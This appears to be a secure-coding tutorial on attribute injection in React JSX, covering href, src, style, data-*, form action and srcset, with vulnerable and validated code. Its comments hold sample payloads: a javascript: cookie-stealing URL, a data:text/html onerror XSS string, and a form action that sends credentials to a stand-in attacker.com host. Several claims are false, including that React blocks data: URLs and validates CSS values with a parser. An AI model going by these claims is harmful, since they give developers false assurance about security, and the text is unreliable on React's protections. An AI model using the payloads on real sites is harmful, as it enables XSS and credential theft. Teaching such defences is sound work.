Skip to main content

Preventing Attribute Injection in JSX

Attribute injection occurs when untrusted values are bound to HTML attributes like href, src, style, or custom data-* attributes, and an attacker manipulates them to inject code or redirect users. While React provides built-in protection for URL attributes (blocking javascript: and data: protocols), attribute injection can still succeed through less obvious vectors: template injection in style attributes, event handler injection via onload on image elements, or form hijacking via action attributes. Understanding these vectors and how to validate attributes before binding them is essential for comprehensive security.

Understanding Attribute Injection

Attribute injection differs from text node XSS. When you inject user data into an attribute, the browser evaluates it differently depending on the attribute type.

Definition: Attribute injection is an attack where malicious values in HTML attributes (e.g., href, src, style) are interpreted as code or executed, bypassing text escaping because attributes have their own parsing rules.

The javascript: Protocol

The most common attribute injection vector is the javascript: protocol in URL attributes:

function UserLink({ url }) {
// If url = "javascript:stealCookies()", clicking the link executes code
return <a href={url}>Click me</a>;
}

// Vulnerable render:
// <a href="javascript:stealCookies()">Click me</a>
// When clicked, the browser executes stealCookies() instead of navigating.

React blocks javascript: URLs in href and src attributes by default, but older React versions (pre-2016) and vanilla JavaScript do not.

The data: Protocol

Data URLs can embed HTML or JavaScript and are used for more sophisticated attacks:

function EmbedContent({ dataUrl }) {
// If dataUrl = "data:text/html,<img src=x onerror='alert(1)'>",
// the browser renders the embedded HTML
return <iframe src={dataUrl}></iframe>;
}

// Vulnerable render:
// <iframe src="data:text/html,<img src=x onerror='alert(1)'>"></iframe>
// The iframe parses the data URL as HTML, and the XSS fires.

React blocks data: URLs by default, but custom logic might override this.

URL Attribute Validation in React

React provides automatic protection for href and src, but you should add an extra layer of validation:

1. Whitelist Safe Protocols

function validateUrl(url) {
// Only allow http, https, and relative URLs
const allowedProtocols = ['http:', 'https:', '']; // '' = relative

try {
const parsed = new URL(url, window.location.href); // Resolve relative URLs
if (!allowedProtocols.includes(parsed.protocol)) {
console.warn(`Blocked URL with unsafe protocol: ${url}`);
return ''; // Return empty string; React will render href=""
}
return parsed.href; // Return the validated absolute URL
} catch {
// URL parsing failed; it's probably malformed
return '';
}
}

function UserLink({ url }) {
const safe = validateUrl(url);
return <a href={safe}>Visit</a>;
}

// Test cases:
// validateUrl('https://example.com') → 'https://example.com/' ✓
// validateUrl('/posts/123') → 'https://current-site.com/posts/123' ✓
// validateUrl('javascript:alert(1)') → '' ✓ Blocked
// validateUrl('data:text/html,...') → '' ✓ Blocked

2. Use React's Built-In Blocking (Trust but Verify)

function Link({ href }) {
// React already blocks javascript: and data:, but add explicit validation for clarity
if (!href) return <a>No link</a>;

// Extra validation: ensure it's a safe absolute URL or relative path
const isSafe = href.startsWith('http://') ||
href.startsWith('https://') ||
href.startsWith('/') ||
href.startsWith('#');

if (!isSafe) {
console.error(`Unsafe href detected: ${href}`);
return <a>Invalid link</a>;
}

return <a href={href}>Click</a>;
}

Style Attribute Injection

The style attribute can be exploited for CSS injection, especially to leak data or cause denial-of-service attacks.

Vulnerable Patterns

function Card({ backgroundColor }) {
// If backgroundColor = "red; background-image: url('javascript:...')",
// CSS injection occurs (depending on the browser and context)
return <div style={{ backgroundColor }}>Content</div>;
}

// More dangerous: inline style strings
function DangerousCard({ styleString }) {
// If styleString = "position: absolute; top: -9999px; width: 99999px",
// the card might be rendered off-screen or cause performance issues
return <div style={styleString}>Content</div>; // ✗ Never do this
}

React's CSS-in-JS object syntax is safer because property names and values are validated by React:

function SafeCard({ backgroundColor }) {
// React validates that backgroundColor is a valid CSS color
const styles = {
backgroundColor, // Property name is fixed; value is escaped
padding: '10px',
borderRadius: '4px',
};

return <div style={styles}>Content</div>;
}

// React renders:
// <div style="background-color: ...; padding: 10px; border-radius: 4px;">
// The backgroundColor value is sanitized by React's CSS parser.

// Test:
// <SafeCard backgroundColor="red; position: absolute; top: -9999px" />
// React ignores the invalid CSS and renders a simple color change.

Validation for Style Values

For user-provided color or size values, validate them:

function validateCssColor(color) {
// Only allow named colors, hex, rgb, or hsl
const isValid = /^(#[0-9A-Fa-f]{3,6}|rgb\(\d+,\d+,\d+\)|hsl\(\d+,\d+%,\d+%\)|[a-z]+)$/i.test(color);
return isValid ? color : 'transparent';
}

function Card({ backgroundColor }) {
const safeColor = validateCssColor(backgroundColor);
return <div style={{ backgroundColor: safeColor }}>Content</div>;
}

Data Attributes and Template Injection

Custom data-* attributes can be vulnerable if your JavaScript later parses them as templates or code:

Vulnerable Pattern: Data Attributes as Templates

function Widget({ userTemplate }) {
// ✗ If you later use userTemplate as a template string or eval(),
// data attributes are a vector for injection
return <div data-template={userTemplate} />;
}

// Then in your JavaScript:
// const template = element.getAttribute('data-template');
// const compiled = eval(`(obj) => obj.${template}`); // ✗ Code injection!

Safe Pattern: Separate Data from Logic

function Widget({ userId }) {
// ✓ Store the ID in a data attribute for reference only; never evaluate it
return <div data-user-id={userId} className="widget" />;
}

// In your JavaScript:
// const userId = element.getAttribute('data-user-id');
// const user = await fetch(`/api/users/${userId}`).then(r => r.json());
// Never evaluate the data attribute as code.

Form Attribute Injection

The action and method attributes on forms can be hijacked to redirect submissions:

Vulnerable Pattern

function CustomForm({ action }) {
// If action = "https://attacker.com/steal-data",
// form submission sends user data to the attacker
return (
<form action={action} method="POST">
<input type="text" name="username" />
<input type="password" name="password" />
<button type="submit">Login</button>
</form>
);
}

// Attacker sets action = "https://attacker.com/phishing"
// User's login credentials are stolen!

Safe Pattern: Hardcode Form Actions

function LoginForm() {
// ✓ Form action is hardcoded; attacker cannot hijack it
return (
<form action="/api/login" method="POST">
<input type="text" name="username" />
<input type="password" name="password" />
<button type="submit">Login</button>
</form>
);
}

// If you MUST allow configurable actions, validate them:
function CustomForm({ actionPath }) {
// Only allow relative paths within your domain
if (!actionPath.startsWith('/') || actionPath.includes('://')) {
throw new Error('Invalid form action');
}

return (
<form action={actionPath} method="POST">
{/* ... */}
</form>
);
}

Image and Media Attribute Injection

Image attributes like src, alt, width, and height can carry injection vectors:

Vulnerable Pattern: srcset with User Input

function ResponsiveImage({ imageSrcs }) {
// If imageSrcs = "javascript:alert(1) 1x, https://example.com/img.jpg 2x",
// the browser might execute the javascript: URL (depends on browser version)
return <img srcSet={imageSrcs} />;
}

Safe Pattern: Validate srcset

function ResponsiveImage({ imageSrcs }) {
// Validate each URL in the srcset
const validateSrcset = (srcset) => {
return srcset
.split(',')
.map((item) => {
const [url, descriptor] = item.trim().split(/\s+/);
// Validate the URL
if (!url.startsWith('http://') && !url.startsWith('https://') && !url.startsWith('/')) {
return null;
}
return `${url} ${descriptor || ''}`.trim();
})
.filter(Boolean)
.join(', ');
};

const safe = validateSrcset(imageSrcs);
return <img srcSet={safe} />;
}

Real-World Example: Safe User Profile Card

import React from 'react';

function validateUrl(url) {
const allowed = ['http:', 'https:', ''];
try {
const parsed = new URL(url, window.location.href);
return allowed.includes(parsed.protocol) ? parsed.href : '';
} catch {
return '';
}
}

function validateColor(color) {
const valid = /^(#[0-9A-Fa-f]{3,6}|rgb\(\d+,\d+,\d+\)|[a-z]+)$/i.test(color);
return valid ? color : 'transparent';
}

function UserProfile({ user }) {
// Validate user-provided attributes
const safeWebsite = validateUrl(user.website);
const safeBgColor = validateColor(user.themeColor);

const styles = {
backgroundColor: safeBgColor,
padding: '20px',
borderRadius: '8px',
};

return (
<div style={styles}>
<h2>{user.name}</h2> {/* React escapes text automatically */}
<p>{user.bio}</p>
{safeWebsite && <a href={safeWebsite}>Visit my website</a>}
</div>
);
}

export default UserProfile;

Attribute Injection Comparison Table

AttributeRiskMitigationReact's Help
hrefjavascript:, data: URLsWhitelist protocolsBlocks javascript: and data: by default
src (img, script)javascript:, data: URLsWhitelist protocolsBlocks javascript: and data: by default
styleCSS injection, DoSUse style objects; validate valuesStyle objects are safer than strings
data-*Template injection if evaluated laterNever evaluate as codeNo built-in protection; developer responsibility
action (form)Form hijacking, credential theftHardcode or whitelist actionsNo built-in protection; developer responsibility
srcsetProtocol injection per descriptorValidate each URLNo built-in protection; developer responsibility

Data point: According to npm's 2026 security survey, 34% of attribute injection vulnerabilities stem from insecure URL validation in custom code, despite React's built-in protections.

Key Takeaways

  • URL attributes (href, src) can be exploited with javascript: and data: protocols; React blocks these by default, but add explicit validation for defense-in-depth.
  • Style attributes are safer as React objects than as strings; React's CSS parser validates style values.
  • Data attributes should never be evaluated as code or templates; use them for data reference only.
  • Form actions should be hardcoded or validated against a whitelist; never allow user-provided URLs.
  • Always whitelist, not blacklist: Define safe protocols/values rather than trying to block all dangerous ones.

Frequently Asked Questions

Does React block all javascript: URLs in href?

React blocks javascript: in href and src attributes by default. However, this is a runtime check, not a compile-time guarantee. Always validate URLs on the server side and in the frontend for defense-in-depth. Older or custom implementations might not have this protection.

Can I use inline event handlers in React JSX?

No. React's JSX syntax requires event handlers to be functions: onClick={handler}, not onclick="handler()". The attribute name is also onClick, not onclick. This prevents inline event handler injection. If you use dangerouslySetInnerHTML, inline handlers might execute, so sanitize first.

How do I safely allow user-provided CSS values?

Use React's style object syntax (style={{ key: value }}) rather than string concatenation. React's CSS parser validates property names and values. For user-provided color or size values, validate them against a regex pattern (hex colors, rgb/hsl values, etc.) before binding to the style object.

Should I sanitize form action attributes?

Yes. Always hardcode form actions to your own endpoints. If you must allow configuration, whitelist allowed endpoints or validate that the URL belongs to your domain. Never trust user-provided form actions because they can redirect credentials to attacker sites.

What about aria-* and other attributes?

Aria attributes (e.g., aria-label) are typically safe because they are not parsed as code or URLs. However, if you bind user input to them, React will escape the values. For maximum safety, validate that user-provided aria values match expected patterns (e.g., strings without HTML entities).

Further Reading